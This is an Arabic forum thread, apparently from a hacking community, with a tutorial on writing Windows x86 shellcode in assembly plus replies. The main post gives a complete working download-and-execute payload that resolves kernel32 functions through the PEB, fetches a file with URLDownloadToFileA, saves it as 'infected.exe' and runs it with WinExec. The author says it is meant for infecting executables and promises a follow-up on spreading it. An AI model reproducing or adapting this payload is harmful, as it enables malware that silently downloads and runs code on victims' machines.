[ASM] - كيفية البدأ في كتابة شيل كود - شيل كود لتحميل ملف و تنفيذه

تم تحميل الصفحة في 1,2811846 ثانية
[ASM] - كيفية البدأ في كتابة شيل كود - شيل كود لتحميل ملف و تنفيذه
الحالة
مغلق و غير مفتوح للمزيد من الردود.
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
السَلام عَليكم

في المَوضوع أو المقَال التَالي سأقوم بشرح أبعد مما يكون عن الكامل أو الملم بجميع زوايا طريقة عمل الشيل كود ,لكنني سأقوم
بتوفير جميع المعلومات الكافية للوصول ألى مستوى يسمح لك بكتابة شيل كود بسيط يعمل على جميع نسخ الويندوز, فلا مشكلة أن لم تفهم
كل ما سأطرحه في هذا المقال ,لكن مع الممارسة و التطبيق ستكون قادرا بالتأكيد على كتابة شيل كود خاص بك ,و بالخصائص التي تريدها .


المتطلبات :

- معرفة و لو بسيطة مسبقة في لغة التجميع - Assembly .
- معرفة بسيطة حول دوال الوندوز , و ملفات DLL - Dynamic-link library .
- معرفة بسيطة حول الملفات التنفيذية PE Format .


لكننا سنمر طبعا و لو بشرح بسيط حول كل ما سنحتاجه للوصول ألى القدرة على كتابة شيل كود بسيط .

كما أن المقال التالي نتيجة بحث خاص و تجربة مسبقة ,فأذا لاحظت أي معلومة غير صحيحة فأنا أعتذر ,و لا تتردد في التواصل معي لتصحيحها .



[+] - لغة التجميع - Assembly :

لغة التجميع هي عبارة عن لغة ذات مستوى منخفض أي أقرب ألى لغة الألة حيث تضمن لنا وصولا قويا بالعتاد (Hardwares) , كالمعالج و الذاكرة ...

و حيث أن جميع لغات البرمجة ذات المستوى المرتفع يثم ترجمتها ألى لغة الألة عبر ال Compiler الخاص بها ,غالبا في الملفات التنفيذية
يثم تخزين هاته الأوامر في ال Section .text أو Section CODE , لكننا سنصل للأمر لاحقا .


مثال على أوامر الألة كما هي محددة في المنقح :



يمكنكم التعرف أكثر حول الأسمبلي هنا :

لغة التجميع - ويكيبيديا، الموسوعة الحرة
لغة تجميع - ويكيبيديا، الموسوعة الحرة


و لهذا سنحتاج لكتابة الشيل كود بلغة التجميع لنستطيع تنفيذها ببساطة في الذاكرة أو حقنها على مستوى الملفات التنفيذية ,يمكن
أيضا برمجة الشيل كود بال C,لكن تتم العملية بنفس الطريقة السابقة ,كما أن كتابته بالأسمبلي يعطينا أمتياز فهم الأمور كيف تعمل
و التعديل عليها بسهولة ان تطلب الأمر .


- المسجلات - Registers:

لأختصار الطريق عليكم ,يمكننا أن نصف المسجلات كأنها مجموعة من المتغيرات,غير أن هاته المتغيرات سريعة جدا فيما يخص تخزين و قراءة البيانات .

يمكنكم التعرف عليها أكثر هنا :
مسجلات الحاسب Registers


- المسجلات ذات الأستخدام العام - General-Purpose Registers :

وهي EAX, EDX, ECX, EBX, EBP, EDI, and ESI , قادرة على تخزين ما سعته 32bit , أي DWORD .
كما ان هناك جزئا سفليا لها قادرا على تخزين ما سعته 16bit , أي WORD .


كما توضح الصورة التالية :



- المكدس - Stack :

يمكننا وصفها بأنه مكان نقوم بتخزين البيانات فيه لأستعمالها لاحقا ,و يتمتع بخاصية LIFO أي ما يدخل أخيرا يخرج أولا ,و يثم التوجيه للمكان الحالي في المكدس
عير المسجل ESP, ,ستتضح الفكرة لاحقا عندما نبدأ في كتابة الشيل كود .


- الأوامر التي سنحتاجها :

طبعا تتوفر الأسمبلي على مجموعة كبيرة من الأوامر ,لكنني سأقوم بالتركيز فقط على مجموعة بسيطة منها سنحتاجها في كتابة الشيل كود .

mov : هذا الأمر يقوم بتحويل قيمة معينة ألى المسجلات .
push : يقوم بدفع أو وضع قيمة معينة في المكدس - Stack .
add : أضافة قيمة معينة لأخرى, لعمليات الجمع أن صح التعبير .
xor : من أسمها تستطيع معرفة عملها ,تقوم بالمقارنة بين البتات ,غالبا ما سنحتاجها لتصفير المسجلات .
inc : لأضافة 1 .
dec : لأنقاص 1 .
cmp : المقارنة بين قيمتين .
jnz : للقفز ألى مكان معين أن كانت نتيجة المقارنة غير صحيحة ,تتعلق بال Flags ,لكنني لن أقوم بالتطرق للأمر الأن .
call : لأستدعاء دالة معينة .
 
التعديل الأخير:
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
[+] الملفات التفيذية على ويندوز :

كلنا نعلم أن الملفات التنفيذية في الوندوز صيغتها .exe [أو .com و .scr و .dll], أي عبارة عن برامج أو تطبيقات تقوم بعمل محدد ,
دورنا الأن هو معرفة كيف يثم التعامل مع هاته الملفات في ويندوز و كيف يثم الوصول الى التعليمات المراد تنفيذها .


تنقسم الملفات النفيذية في الويندوز الى 3 أقسام أساسية و هي :

DOS HEADER - NT HEADER - Section HEADER



لنبدأ بالDos Header , لنرى الStructure الخاص به :



كل ما يهمنا هو :
- e_magic و التي تمثل ال Signature الخاصة بال DOS Header .
- e_lfanew و التي سنحتاجها للوصول ألى الNT Header الخاصة بالملف التنفيذي ,حيث [ BaseAddress + e_lfanew = NT Header ] ,و توجد في الاوفست 0x3C


لنرى الStructure الخاصة ب NT Header :



تتوفر على متغير Signature ,خاص بالتعريف بالملفات التفيذية .

و تتوفر أيضا على 2 Structures أخرى و هما :

IMAGE_FILE_HEADER
و IMAGE_OPTIONAL_HEADER32


تتوفر الStructure الاولى على معلومات خاصة بالملف كتاريخ الأنشاء و عدد ال Sections وما ألى غير ذلك , لا تهمنا .

أما ال Structure الثانية :



فهي تتوفر على معلومات أهمها :

AddressOfEntryPoint - و تمثل مكان بداية تنفيذ الأوامر .
ImageBase - و تمثل مكان بداية تنفيذ الملف في الذاكرة (أن كان ممكنا)
DataDirectory - و هي عبارة عن Structure أخرى تتوفر مثلا على الدوال المستوردة أو التي يصدرها الملف التنفيذي .




ما يهمنا في حالتنا هنا هو الستراكتشر الخاصة ب DataDirectory , هي في الحقيقة عبارة عن 16 , لكن ما يهمنا نحن هي الأولى
و التي تمثل ال export directory و التي تتوفر على قائمة من الدوال التي يصدرها الملف التنفيذي ,يمكننا أيجاد ال export directory
على الأوفست 0x78 .


لنلقي نظرة على ال Export Directory :



مايهمنا في كل هذا هو :

AddressOfFunctions - عبارة عن مصفوفة تحتوي على مؤشرات - Pointers لعناوين الدوال .
AddressOfNames - عبارة عن مصفوفة تحتوي على مؤشرات - Pointers لأسماء الدوال .
AddressOfNameOrdinals - عبارة عن مصفوفة تمثل ترتيب الدوال أن صح التعبير و تبدأ من 0 .


حسنا ,لنستنتج الأن ما وصلنا أليه , للوصول ألى دالة معينة في ملف تنفيذي (مكتبة dll مثلا) , علينا مقارنة أسم الدالة التي نريدها
بجميع الدوال الموجودة في المصفوفة AddressOfNames ألى أن نصل لتشابه ,ثم نقوم بالحصول على عنوان الدالة عبر تمرير ترتيب الأسم
في المصفوفة الاولى الى المصفوفة AddressOfNameOrdinals , ثم نقوم بتمريرها بدورها الى المصفوفة AddressOfFunctions .


مثال للعملية بسيط بال C :

C:
FARPROC GetKernel32Function(LPCSTR szFuncName) {
    HMODULE hKernel32Mod = get_kernel32();

    // get DOS header
    PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)(hKernel32Mod);
    // get NT headers
    PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)hKernel32Mod + pidh->e_lfanew);
    // find eat
    PIMAGE_EXPORT_DIRECTORY pied = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hKernel32Mod + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // find export table functions
    LPDWORD dwAddresses = (LPDWORD)((DWORD)hKernel32Mod + pied->AddressOfFunctions);
    LPDWORD dwNames = (LPDWORD)((DWORD)hKernel32Mod + pied->AddressOfNames);
    LPWORD wOrdinals = (LPWORD)((DWORD)hKernel32Mod + pied->AddressOfNameOrdinals);

    // loop through all names of functions
    for (int i = 0; i < pied->NumberOfNames; i++) {
        LPSTR lpName = (LPSTR)((DWORD)hKernel32Mod + dwNames[i]);
        if (!strcmp(szFuncName, lpName))
            return (FARPROC)((DWORD)hKernel32Mod + dwAddresses[wOrdinals[i]]);
    }

    return NULL;
}
-
لم أشرح كل مكونات الملف التنفيذي رغبة في أختصار الوقت و التركيز فقط على ما سنحتاجه في هدفنا ,لكني سأقوم بالتعمق أكثر في موضوع أخر .

ليس المهم طبعا أن تفهم كل ما ورد سبقا ,و أنما أخذ فكرة و لو بسيطة تساعدك على التعامل مع ما سأقدمه لاحقا ,و كما أنه يمكن تنفيذ كل
ما سبق برمجيا في 16 سطرا أو أقل في لغة الأسمبلي .


يمكنك ان تجد معلومات أكثر في الروابط التالية :

Iczelion's PE Tutorial 1: Overview of PE File Format
Iczelion's PE Tutorial 7: Export Table

Introduction to Windows shellcode development – Part 2
 
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
[+] البدء في كتابة الشيل كود :

حسنا ,وصلنا للمرحلة الأخيرة ,مرحلة الجد .

الدوال التي سنحتاجها في الشيل كود :

- URLDownloadToFileA() : لتحميل ملف معين من على رابط .
- WinExec() : لتشغيل ملف من على القرص .


- لن نحتاج دالة ExitProcess ,لأننا سنستخدم الشيل كود في اصابة الملفات التنفيذية ,لهذا يجب علينا الحفاظ على سير البرنامج المُصاب .

- سنحتاج في الشيل كود الخاص بنا القيام بعملية البحث عن عنوان الدوال بأنفسنا ,لنضمن تنفيذ الشيل كود في جميع نسخ الوندوز, و عدم التقيد
بعنوان واحد الذي يمكن أن يتغير في تحديث أو نسخة مغايرة ,كيف سنقوم بالأمر أذا ?
في ويندوز ,جميع الملفات التنفيذية تقوم بعمل استدعاء لمكتبتين مهمتين ,ntdll و kernel32 ,نحن سنستغل هذا الأمر و سنحاول الوصول الى
عنوان kernel32 التي تحتوي على مجموعة دوال كافية لما سنقوم به ,أهمها GetProcAddress و LoadLibrary .


الكود التالي يقوم بالعملية , حيث يقوم بالوصول الى PEB الموجودة في fs:30h , ثم يقوم بالبحث الى أن يصل للمكتبة kernel32.dll
ثم يقوم بوضع ال BaseAddress الخاص بالمكتبة في المسجل ebx :


كود:
mov eax, fs:[30h]
mov eax, [eax + 0ch]
mov esi, [eax + 14h]
lodsd 
xchg eax, esi
lodsd
mov ebx, [eax + 10h]
حسنا الأن حصلنا على الBaseAddress الخاصة بالمكتبة ,الأن سنحاول الوصول الى ال Export Tabel المسؤول عن تصدير الدوال و نقوم بالبحث
على الدالة GetProcAddress , الدالة مسؤولة عن جلب عنوان الدوال من الملفات التفيذية ,ولها براميترين الأول خاص بعنوان المكتبة ,
و الثاني خاص بأسم الدالة التي نريد جلبها ,سنستعملها قريبا , الأن تابع معي :


قبل أن نبدأ في البحث عن الدالة ,نقوم اولا بتخزين عنوان kernel32 لنصل أليه لاحقا ,لأن المسجلات EAX,EBX,ECX,EDX تتغير بعد كل أستدعاء - Call ,لهذا
لا نريد القيام بالعملية من جديد ,لهذا سنقوم بتخزينها ,لاحظ معي :


كود:
push ebp
mov ebp,esp
add esp,-10h
mov dword ptr ss:[ebp-4h],ebx
في السطر الأول نقوم بدفع المسجل ebp للمكدس ,السطر الثاني نقوم بنقل قيمة المسجل ESP الى المسجل EBP ,
في السطر الثالث نقوم بحجز 16 bytes في المكدس لنقوم بتخزين عنواين الدوال ,لاحظ معي أن الStack يتعامل مع فقط المعطيات التي طولها 32bit , DWORD
لهذا فكل عنوان = DWORD , لهذا 4 * 4 = 16 , لهذا فالمكان كافي لحجز 4 عنواين , و لأن 16 تساوي 10 بالتمثيل HEX .
في السطر الرابع نقوم بتخزين عنوان kernel32 في ال4 bytes الاولى .


لنكمل :

كود:
mov edx, [ebx + 3ch]
add edx, ebx
mov edx, [edx + 78h]
add edx, ebx
mov esi, [edx + 20h]
add esi, ebx
xor ecx, ecx
بما أننا الأن حصلنا على عنوان kernel32 سنحتاج الأن الى الحصول على عناوين الدوال التي تقوم بتصديرها ,لكن قبل هذا يجب علينا الوصول الى ال Export Directory أولا , لاحظ معي في السطر الأول نقوم بزيادة عنوان المكتبة على 0x3C الذي يمثل e_lfanew لنصل ألى بداية ال NT HEADER و نقوم بتخزينها في edx ,نقوم بزيادة العنوان الذي وصلنا أليه الى عنوان المكتبة ,لأن المؤشر مرجعي للعنوان - BaseAddress و هو في الأصل Offset .

في السطر الثالت نقوم بأضافة 0x70 الى بداية ال NT HEADER لنصل الى ال Export Directory ,في السطر الرابع نقوم بنفس العملية السابقة للوصول للعنوان الحقيقي .
في السطر الخامس نقوم بأضافة 0x20 لنصل الى AddressOfNames على مستوى الستراكتشر ,سنحتاج للمصفوفة لأننا سنقوم بالبحث عن الدالة عن طريقة أسمها ,نقوم في السطر الأخير بتصفير المسجل ecx .


كود:
Get_Function :

inc ecx; Increment the ordinal
lodsd; Get name offset
add eax, ebx; Get function name
cmp dword ptr[eax], 50746547h
jnz Get_Function
cmp dword ptr[eax + 4h], 41636F72h
jnz Get_Function
نقوم بأضافة Label الى الكود , ال Label يعني مكان معين أو بداية معينة لمجموعة من التعليمات و يمكننا الوصول اليه عبر القفز أليه عن طريق أي تعليمة من تعليمات القفز , في السطر الأول نقوم بزيادة 1 الى المسجل ecx الذي قمنا بتصفيره منذ قليل ,سنستعمله كعداد لحساب مكان التطابق , في السطر الثاني التعليمة lodsd تقوم بوضع مؤشر الدالة الحالية في المسجل EAX .
نضيف المؤشر الذي ثم تحويله للتو الى EAX الى عنوان المكتبة لنصل الى العنوان المظبوط للدالة .
في الأربعة الأسطر الأخيرة نقوم بمقارنة أسم الدالة مع "GetP" , لماذا لم نقم بأدراج الأسم كاملا ? لأننا قلنا سابقا بأن المسجلات تتعامل فقط المعطيات التي طولها DWORD , و بما أن معالجات x86 تقوم بتخزين البيانات في الذاكرة بشكل معكوس فأننا نقوم بعكس كلمة "GetP" لتعطينا "PteG" و هي ما يعطينا "50746547" , نقوم بالمقارنة عبر التعليمة CMP , أن لم يتحقق التطابق يثم القفز ألى بداية الكود لأعادة العملية لكن مع الدالة التالية , كذلك في السطرين الأخيرين .


لنكمل :

كود:
mov esi, [edx + 24h]
add esi, ebx
mov cx, [esi + ecx * 2]
dec ecx
mov esi, [edx + 1ch]
add esi, ebx
mov edx, [esi + ecx * 4]
add edx, ebx
في السطر الأول نقوم بأضافة 0x24 الى الستراكتشر Export Directory المخزنة في edx للوصول الى Ordinals Table, و نحول القيمة الى المسجل esi .
في السطر الثاني نقوم بأضافة العنوان الذي وصلنا أليه ألى ال BaseAddress للوصول للعنوان الحقيقي .
في السطر الثالت نقوم بتخزين رقم الدالة في الجزء السفلي من المسجل ecx , والذي يمثل 16bit و هذا هو حجم ال Integer .
في السطر الرابع نقوم بأنقاص 1 من المسجل ecx لأنه كما قلنا سابقا يبدأ الترتيب في Ordinals Table من 0 .
في السطر الخامس نقوم بأضافة 0x1C للقيمة السابقة في edx للوصول الى AddressOfFunctions .
في السطر السابع نقوم بضرب ecx في 4 لأن المؤشر حجمه 4 بايتات ,و نضيف القيمة الى esi ,و ننقل القيمة ألى edx .
في السطر الأخير نكون قد وصلنا لعنوان GetProcAddress الحقيقي .


نقوم بتخزين عنوان الدالة في المكدس :

كود:
mov dword ptr ss:[ebp-8h],edx ; ebp-8ch = GetProcAddress
الأن يجب علينا الوصول الى الدالة LoadLibraryA التي سنحتاجها لاحقا ,سنقوم بالأعتماد على GetProcAddress .
دالة GetProcAddress تقبل برامترين , الأول عنوان المكتبة و الثاني أسم الدالة , لاحظ معي :


كود:
xor ecx,ecx
push ecx
push 41797261h
push 7262694Ch
push 64616F4Ch
push esp
push ebx
call edx
في السطرين الأول و الثاني نقوم بتصفير المسجل ecx و نقوم بدفعه للمكدس , نقوم بهذه الخطوة لأننا سنقوم بدفع نص في المكدس ,لذا يجب عليه أن ينتهي بNull Bytes ,لذا ال ecx هو نهاية النص الذي سندفعه .

قبل أن نتوجه لشرح الأسطر القادمة ,عليك أن تعلم أنني كما قلت سابقا بأن المكدس يتميز بخاصية LIFO ,أي ما يدخل أخير يخرج أولا ,لهذا عندما يبدأ قراءة المعطيات من المكدس يثم ذلك عبر البدأ من أخر قيمة دخلت , لهذا يجب علينا أدخال أجزاء النص بشكل عكسي .
فمثلا نقوم بتقسيم LoadLibraryA الى 3 أجزاء : Load Libr aryA ,ثم نقوم بدفع القيم من اليمين ألى اليسار اي أن أول قيمة سنقوم بدفعها هي aryA و هكذا ,كما أنه يجب أن نعكس بايتات النص كما رأينا سابقا .


في السطر الثالت و الرابع و الخامس ندفع أجزاء النص و هي الدالة التي نريد الحصول على عنوانها = LoadLibraryA .
في السطر السادس نقوم بدفع المسجل esp و الذي ستبدأ منه الدالة بقراءة النص المطلوب .
في السطر السابع ندفع عنوان kernel32 , لان الدالة LoadLibraryA موجودة في المكتبة kernel32 .
نستدعي الدالة عبر الأمر call , سيثم تخزين عنوان الدالة LoadLibraryA في المسجل EAX .


نقوم بتخزين عنوان الدالة في المكدس :

كود:
mov dword ptr ss:[ebp-0ch],eax ; ebp-0ch = LL
الأن سنحتاج لأستدعاء الدالة URLDownloadToFile() , الدالة متوفرة في المكتبة urlmon , لهذا نقوم باستدعائها عبر الدالة LoadLibraryA .

كود:
add esp,10h
xor ecx,ecx
mov cx,6E6Fh
push ecx
push 6D6C7275h
push esp
call eax ; urlmon address in eax
في السطر الأول نقوم بتنظيف المكدس .
في السطر الثاني و الثالث و الرابع و الخامس نقوم بدفع أسم المكتبة urlmon .
في السطر الأخير نقوم بأستدعاء الدالة LoadLibraryA , سيثم تخزين عنوان المكتبة في المسجل EAX .


الأن نقوم بالحصول على عنوان الدالة من المكتبة :

كود:
add esp,8h
xor ecx,ecx
mov cx,4165h
push ecx
push 6C69466Fh
push 5464616Fh
push 6C6E776Fh
push 444C5255h
mov edi,esp
push edi
push eax
mov edx,dword ptr ss:[ebp-8h]
call edx ; EAX = URLDownloadToFileA
نقوم اولا في السطر الأول بتنظيف المكدس .
(من السطر الثالث ألى السطر 8) نقوم بدفع أسم الدالة .
في السطر 9 نقوم بتحويل النص ألى المسجل EDI .
في السطرين التاليين نقوم بدفع النص و دفع عنوان المكتبة urlmon .
في السطرين الأخيرين نقوم بالرجوع الى عنوان الدالة GetProcAddress حيث قمنا بتخزينها في المكدس,و نحولها الى المسجل edx .
نقوم بأستدعاء الدالة GetProcAddress , سيثم تخزين عنوان المكتبة في المسجل EAX .


الأن نقوم بتحميل الملف من الرابط عبر الدالة URLDownloadToFileA() , سأقوم بدفع الرابط ["http://localhost/x.exe"] و الأسم "infected.exe" و استدعاء الدالة بنفس الطريقة السابقة :

كود:
add esp,1Ch
xor ecx,ecx
mov cx,6578h
push ecx
push 652e782fh
push 74736f68h
push 6c61636fh
push 6c2f2f3ah
push 70747468h
mov edi,esp
xor ecx,ecx
push ecx
push 6578652eh
push 64657463h
push 65666e69h
mov edx,esp
push ecx
push ecx
push edx
push edi
push ecx
call eax
نقوم الأن بالحصول على عنوان الدالة WinExec() كما حصلنا على عنوان الدالة URLDownloadToFileA() , غير أن الدالة الأن موجودة في kernel32 :

كود:
add esp,2Ch
mov edx,dword ptr ss:[ebp-8h]
mov ebx,dword ptr ss:[ebp-4h]
xor ecx,ecx
push ecx
push 00636578h
push 456e6957h
push esp
push ebx
call edx ; EAX = WinExec()
نقوم الأن بتمرير مسار الملف الذي قمنا بتحميله (و هو "infected.exe") الى الدالة لتنفيذه :

كود:
add esp,10h
xor ecx,ecx
push ecx
push 6578652eh
push 64657463h
push 65666e69h
mov edx,esp
push ecx
push edx
call eax
الشكل النهائي للشيل كود :

كود:
.386

.model FLAT,stdcall

.code

start :
ASSUME FS:NOTHING
mov eax, fs:[30h]
mov eax, [eax + 0ch]
mov esi, [eax + 14h]
lodsd 
xchg eax, esi
lodsd
mov ebx, [eax + 10h]

push ebp
mov ebp,esp
add esp,-10h
mov dword ptr ss:[ebp-4h],ebx ; ebp-4h = KernelBaseA

mov edx, [ebx + 3ch]
add edx, ebx
mov edx, [edx + 78h]
add edx, ebx
mov esi, [edx + 20h]
add esi, ebx
xor ecx, ecx

Get_Function :

inc ecx; Increment the ordinal
lodsd; Get name offset
add eax, ebx; Get function name
cmp dword ptr[eax], 50746547h
jnz Get_Function
cmp dword ptr[eax + 4h], 41636F72h
jnz Get_Function 

mov esi, [edx + 24h]
add esi, ebx
mov cx, [esi + ecx * 2]
dec ecx
mov esi, [edx + 1ch]
add esi, ebx
mov edx, [esi + ecx * 4]
add edx, ebx
mov dword ptr ss:[ebp-8h],edx ; ebp-8ch = GetProcAddress

xor ecx,ecx
push ecx
push 41797261h
push 7262694Ch
push 64616F4Ch
push esp
push ebx
call edx

mov dword ptr ss:[ebp-0ch],eax ; ebp-0ch = LL

add esp,10h
xor ecx,ecx
mov cx,6E6Fh
push ecx
push 6D6C7275h
push esp
call eax ; urlmon address in eax

add esp,8h
xor ecx,ecx
mov cx,4165h
push ecx
push 6C69466Fh
push 5464616Fh
push 6C6E776Fh
push 444C5255h
mov edi,esp
push edi
push eax
mov edx,dword ptr ss:[ebp-8h]
call edx ; EAX = URLDownloadToFileA

; URLDownloadToFileA(0,url,filename,0,0)

add esp,1Ch
xor ecx,ecx
mov cx,6578h
push ecx
push 652e782fh
push 74736f68h
push 6c61636fh
push 6c2f2f3ah
push 70747468h
mov edi,esp
xor ecx,ecx
push ecx
push 6578652eh
push 64657463h
push 65666e69h
mov edx,esp
push ecx
push ecx
push edx
push edi
push ecx
call eax

;WinExec

add esp,2Ch
mov edx,dword ptr ss:[ebp-8h]
mov ebx,dword ptr ss:[ebp-4h]
xor ecx,ecx
push ecx
push 00636578h
push 456e6957h
push esp
push ebx
call edx ; EAX = WinExec()

add esp,10h
xor ecx,ecx
push ecx
push 6578652eh
push 64657463h
push 65666e69h
mov edx,esp
push ecx
push edx
call eax


ret

end start
سنرى في الموضوع القادم كيف يمكننا كتابة أنتشار على مستوى الملفات التنفيذية بأستخدام هذا الشيل كود .
 
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
شكرااا لك حتما هذه افادة كبيرة لكل من يتعلم الاسمبلي
في الحقيقة فاءدة لمن يريد معرفة طريقة عمل الشيل كود على مستوى الويندوز
.
الأسمبلي تعتبر معرفة ضرورية
 
إنضم
1 سبتمبر 2017
المشاركات
377
الإعجابات
552
النقاط
93
الإقامة
أرض الله الواسعة
مشكور على الشرح يعطيك العافية


المتطلبات :

- معرفة و لو بسيطة مسبقة في لغة التجميع - Assembly .
- معرفة بسيطة حول دوال الوندوز , و ملفات DLL - Dynamic-link library .
- معرفة بسيطة حول الملفات التنفيذية PE Format .

لكن أظن كمتطلبات للفهم الكامل يحتاج لمعرفة أكثر من بسيطة في الأسمبلي و ++C !!
 

Bashar Bachir

ديـف بـويـنـتـي
إنضم
16 مارس 2011
المشاركات
7,519
الإعجابات
8,515
النقاط
173
الإقامة
Germany
الله يعطيك العافية على تعبك اخي الحبيب ..
دروس قيمة جدا ومشروحة بشكل مفصل
قرات الموضوع مرتين ولسا رح اعيد القراءة
الله يزيدك من علمه وان شاء الله بعد دروسك ودروس الاخ راجناروك رح نغطي النقص
اللي عندنا بالاسمبلي وفهم كيفية عمل الشيل كود على ويندوز ..
شكرا لك اخي مرة اخرى ..
 
الإعجابات: 4w1il
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
مشكور على الشرح يعطيك العافية





لكن أظن كمتطلبات للفهم الكامل يحتاج لمعرفة أكثر من بسيطة في الأسمبلي و ++C !!
لأكون صَريحا ,خبرتي أنا أيضا بسيطة في الأسمبلي ,كما أن أوامرها في الحَقيقة ليس بتلك الصعوبة ,سهلة الفهم و التعلم مع الممارسة .
ال C++ دورها في الموضوع القادم هه .
 
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
Good work
برايي من يتعلم الاسمبلي سيكون له مستقبل في عالم الهاكرز

تدكر فقط انها
بالماضي القريب كانت لغة علماء الكومبيوتر
لوول
لغة الأسمبلي من الضروريات في هذا المَجال ,لن تستطيع مجارات المحترفين في الأمن المعلوماتي أن لم يكن لك خبرة مسبقة فيها .
 
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
الله يعطيك العافية على تعبك اخي الحبيب ..
دروس قيمة جدا ومشروحة بشكل مفصل
قرات الموضوع مرتين ولسا رح اعيد القراءة
الله يزيدك من علمه وان شاء الله بعد دروسك ودروس الاخ راجناروك رح نغطي النقص
اللي عندنا بالاسمبلي وفهم كيفية عمل الشيل كود على ويندوز ..
شكرا لك اخي مرة اخرى ..
شكرا على تَحفيزك أَخي الكَريم ,
سأقوم في مواضيع أخرى بشرح أكبر في ما يتعلق بالملفات التنفيذية و الأسمبلي .
كما أنني طرحت مصادر في المَوضوع لمن يريد أن يتعمق أكثر .
 

Bashar Bachir

ديـف بـويـنـتـي
إنضم
16 مارس 2011
المشاركات
7,519
الإعجابات
8,515
النقاط
173
الإقامة
Germany
شكرا على تَحفيزك أَخي الكَريم ,
سأقوم في مواضيع أخرى بشرح أكبر في ما يتعلق بالملفات التنفيذية و الأسمبلي .
كما أنني طرحت مصادر في المَوضوع لمن يريد أن يتعمق أكثر .
شكرا لك اخي الحبيب على الدرس الممتع ..
صحيح كلامك رح اتطلع عليهم اليوم مساءا بالطبع ..
لان معاجبني وضعي وانا مش فهمان شي بهالمجال هه ..
الشباب بالادارة ثبتو لك رابط موضوعك فوق باعلى المنتدى "الاخت سناء جزاها الله خيرا"
لانه درس يستاهل الصراحة . مبارك اخي الحبيب ..وشكرا لك لتعبك معنا ..
 
الإعجابات: 4w1il
إنضم
26 أكتوبر 2012
المشاركات
381
الإعجابات
572
النقاط
93
العمر
108
الإقامة
الجــــــــــــــــــزائر العاصمة
رائع اخي هكذا يمكن ان نتطور

لكن في كودك شئ يقلقني لم اجرب الشال لكن هذا الخطئ سوف يقوم بعمل كراش للبرنامج

لاجظ انت هنا قمت بحجز مساحة في stack
PUSH ebp
MOV ebp,es
===>>>add esp,-10h


كان يجب عليك قبل ret
اعادة stack الي حجمه اصلي هكذا

mov esp,ebp
pop ebp
او ببساطة


LEAVE


تحياتي لك
 
إنضم
7 ديسمبر 2017
المشاركات
48
الإعجابات
59
النقاط
28
العمر
18
بارك الله فيك يا مبدع
لغة أسمبلى هي الصوره لنهائيه للملف التنفيدي بعد الكومبيايل
و لاكن هنالك تساؤل يطرح نفسه
ما الغرض من كتابة داونلودر ( أو أي برنامج أخر يمكن كتابته بلغات مستوى أعلى )بلغة الأسمبلي و في نفس الوقت تستطيع ان تصل لنفس النتيجه من خلال كتابته بأي لغه أخرى مثل++ C( و أدق و أسهل و أسرع ) $ أليس الناتج أسمبلى ؟
هل الهدف هو التمرين على الأسمبلى - هنا أتفق تماما -و أشكرك على جودك الجباره
أو أنه هناك فرق من حيث النتيجه ؟
 
الإعجابات: 4w1il
إنضم
5 يناير 2010
المشاركات
788
الإعجابات
513
النقاط
93
شكرا لك على الموضوع الرائع اتمنى تواصل بطرح مواضيع عن الاسمبلي جدا جميل شرحك شكرا لك

بارك الله فيك يا مبدع
لغة أسمبلى هي الصوره لنهائيه للملف التنفيدي بعد الكومبيايل
و لاكن هنالك تساؤل يطرح نفسه
ما الغرض من كتابة داونلودر ( أو أي برنامج أخر يمكن كتابته بلغات مستوى أعلى )بلغة الأسمبلي و في نفس الوقت تستطيع ان تصل لنفس النتيجه من خلال كتابته بأي لغه أخرى مثل++ C( و أدق و أسهل و أسرع ) $ أليس الناتج أسمبلى ؟
هل الهدف هو التمرين على الأسمبلى - هنا أتفق تماما -و أشكرك على جودك الجباره
أو أنه هناك فرق من حيث النتيجه ؟
اعتقد ان المميزات تكون في سرعة التنفيذ بسبب استدعاء الاوامر مباشره مع نواة النظام ولايتطلب مثلا فرمورك او مكتبات خاصه
مرافقه مثل لغات البرمجه ذات المستوى العالي وايضا صغر حجم الملف بحيث قد يصل 1 كيلو بايت ويعمل لكل الانظمه
والتشفير بسهوله للاكواد هذا ماظنه .. ننتظر اجابة كاتب الموضوع حول تساؤلاتك


لدي استفسار آخر بما ان الاسمبلى لغة منخفضة المستوى
هل تعلم الاسمبلي وكتابة بعض الاكواد الخاطئه قد يؤدي لتعطل الحاسوب او تعطيل نظام الويندوز ؟!
 
الإعجابات: 4w1il
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
رائع اخي هكذا يمكن ان نتطور

لكن في كودك شئ يقلقني لم اجرب الشال لكن هذا الخطئ سوف يقوم بعمل كراش للبرنامج

لاجظ انت هنا قمت بحجز مساحة في stack
PUSH ebp
MOV ebp,es
===>>>add esp,-10h


كان يجب عليك قبل ret
اعادة stack الي حجمه اصلي هكذا

mov esp,ebp
pop ebp
او ببساطة


LEAVE


تحياتي لك
في الحَقيقة لَم أواجه أي كراش ,سأقوم بالتعديل عليه بما يناسب في الموضوع المقبل .
و شكرا على الملاحظة ,احتاج حقا لمثل هذه الملاحظات .
 
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
بارك الله فيك يا مبدع
لغة أسمبلى هي الصوره لنهائيه للملف التنفيدي بعد الكومبيايل
و لاكن هنالك تساؤل يطرح نفسه
ما الغرض من كتابة داونلودر ( أو أي برنامج أخر يمكن كتابته بلغات مستوى أعلى )بلغة الأسمبلي و في نفس الوقت تستطيع ان تصل لنفس النتيجه من خلال كتابته بأي لغه أخرى مثل++ C( و أدق و أسهل و أسرع ) $ أليس الناتج أسمبلى ؟
هل الهدف هو التمرين على الأسمبلى - هنا أتفق تماما -و أشكرك على جودك الجباره
